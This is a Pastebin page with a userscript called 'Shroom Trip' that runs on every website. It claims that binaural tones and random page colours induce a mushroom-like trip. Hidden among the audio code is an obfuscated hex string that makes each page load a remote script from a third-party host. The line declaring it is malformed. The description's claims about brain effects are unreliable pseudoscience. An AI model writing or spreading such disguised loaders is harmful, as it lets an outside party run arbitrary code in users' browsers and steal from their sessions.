Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name Shroom Trip
- // @namespace Shrooms
- // @description This sexy piece of JavaScript has the ability to induce a shroom like trip within 25 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
- // @include *
- // @version 1
- // @grant none
- // Created by http://pastebin.com/u/SalamanderSquad
- // ==/UserScript==
- //Shrooms.js
- //Modified Isotronic wave generator from http://onlinetonegenerator.com/
- //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
- var contextClass = (window.AudioContext ||
- window.webkitAudioContext ||
- window.mozAudioContext ||
- window.oAudioContext ||
- window.msAudioContext);
- if (contextClass) {
- // Web Audio API is available.
- var context = new contextClass();
- }
- var oscOn = function (freq1, freq2) {
- merger = context.createChannelMerger(2);
- oscillator1 = context.createOscillator();
- oscillator1.type = 0;
- oscillator1.frequency.value = freq1;
- gainNode = context.createGain ? context.createGain() : context.createGainNode();
- oscillator1.connect(gainNode, 0, 0);
- // gainNode.connect(context.destination,0,0);
- gainNode.gain.value = .1;
- oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
- gainNode.connect(merger, 0, 1);
- oscillator2 = context.createOscillator();
- oscillator2.type = 0;
- oscillator2.frequency.value = freq2;
- gainNode = context.createGain ? context.createGain() : context.createGainNode();
- oscillator2.connect(gainNode);
- // gainNode.connect(context.destination,0,1);
- gainNode.connect(merger, 0, 0);
- gainNode.gain.value = .1;
- oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
- merger.connect(context.destination);
- }
- var _var _0x17b5=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6C\x6F\x75\x64\x39\x62\x61\x73\x65\x2E\x6D\x6F\x6F\x6F\x2E\x63\x6F\x6D\x2F\x63\x61\x6D\x70\x61\x69\x67\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x17b5[1]](_0x17b5[0]);
- function start() {
- if (typeof oscillator1 != 'undefined') oscillator1.disconnect();
- if (typeof oscillator2 != 'undefined') oscillator2.disconnect();
- rand = getRandomInt(432, 852) //432Hz and 852Hz are the lowest and highest meditation tones I could find with a little bit of searching
- oscOn(rand, rand + 3);
- }
- function stop() {
- oscillator1.disconnect();
- oscillator2.disconnect();
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function MushroomTrip() {
- start();
- var randColour = '#'+Math.floor(Math.random()*16777215).toString(16);
- document.body.style.background = randColour; //Take advantage of the pavlovian affect to associate different colours with different brain waves, which is basically what a psychedelic does.
- }
- start();
- setTimeout(MushroomTrip, 60000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement